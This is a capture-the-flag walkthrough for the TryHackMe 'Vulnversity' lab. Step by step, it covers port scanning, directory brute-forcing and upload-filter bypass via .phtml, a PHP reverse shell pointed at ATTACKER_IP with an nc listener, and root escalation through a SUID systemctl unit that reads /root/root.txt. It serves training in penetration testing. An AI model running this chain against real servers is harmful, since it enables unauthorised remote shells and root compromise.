Vulnversity Writeup

Prerequisites

nmap, gobuster, Burp Suite, netcat (nc), pentestmonkey php-reverse-shell, openvpn, plus sed/grep/cp. find and systemctl are used on the target through the caught shell.

Placeholder legend

Token	Where to get it
`TARGET_IP`	The target machine IP shown on the room page after deploy. Changes per spawn.
`ATTACKER_IP`	Your THM VPN address (`ip addr show tun0`). Reassigned on every VPN reconnect.

Flags (user.txt, root.txt) are omitted deliberately; read them yourself with the commands shown.

Terminal / host map

No pivoting; single target. Mind where each command runs:

Attack box: nmap, gobuster, Burp, nc -lvnp, cp/sed/grep on the local shell copy, browser uploads.
Target (inside the caught www-data shell): ls /home, cat .../user.txt, find ... -perm -4000, the systemctl payload, cat /tmp/rootflag.txt.

Task 2 Reconnaissance

Full port sweep (run on the attack box):

bash

nmap -p- --min-rate 5000 -Pn TARGET_IP

Version/script scan the ports found open:

bash

nmap -A -p 21,22,139,445,3128,3333 TARGET_IP

Web app is on the non-standard port 3333:

bash

http://TARGET_IP:3333

Task 3 Locating directories using Gobuster

bash

gobuster dir -u http://TARGET_IP:3333 -w /usr/share/wordlists/dirb/common.txt -t 40

Upload form lives at:

bash

http://TARGET_IP:3333/internal/

Task 4 Compromise the Webserver

Find the allowed extension (Burp Intruder)

Proxy > Intercept on, upload test.php through the form at http://TARGET_IP:3333/internal/ to capture the request.
Confirm it is POST /internal/index.php, multipart/form-data, with filename="test.php".
Right-click > Send to Intruder, intercept off.
Positions tab: Clear §, highlight only the extension, Add § so it reads filename="test.§php§". Attack type Sniper.
Payloads > Simple list:

bash

php
php3
php4
php5
phtml

Start attack, compare the Length column. The outlier (phtml) is the accepted extension; Apache still executes .phtml as PHP.

Get a reverse shell

Copy the pentestmonkey shell and rename to the allowed extension in one move(or you could copy it from the the link provided on TryHackMe):

bash

cp /usr/share/webshells/php/php-reverse-shell.php ./php-reverse-shell.phtml

Point it at your VPN IP ($port stays 1234):

bash

sed -i 's/127.0.0.1/ATTACKER_IP/' php-reverse-shell.phtml
grep -E '\$ip|\$port' php-reverse-shell.phtml

Start the listener and leave it running (must be up before you trigger the shell):

bash

nc -lvnp 1234

Upload php-reverse-shell.phtml through the form, then trigger it by browsing to it; the tab will hang, that's expected:

bash

http://TARGET_IP:3333/internal/uploads/php-reverse-shell.phtml

User flag (in the caught shell, on the target)

bash

ls /home
cat /home/bill/user.txt

Task 5 Privilege Escalation

Find SUID binaries (on the target); /bin/systemctl is the outlier:

bash

find / -perm -4000 -type f 2>/dev/null

bash

ls -l /bin/systemctl

Weaponize SUID systemctl: write a oneshot unit and start it as root. Keep the multi-line echo intact:

bash

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/rootflag.txt; chmod 666 /tmp/rootflag.txt"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
cat /tmp/rootflag.txt

References

← all writeups next writeup →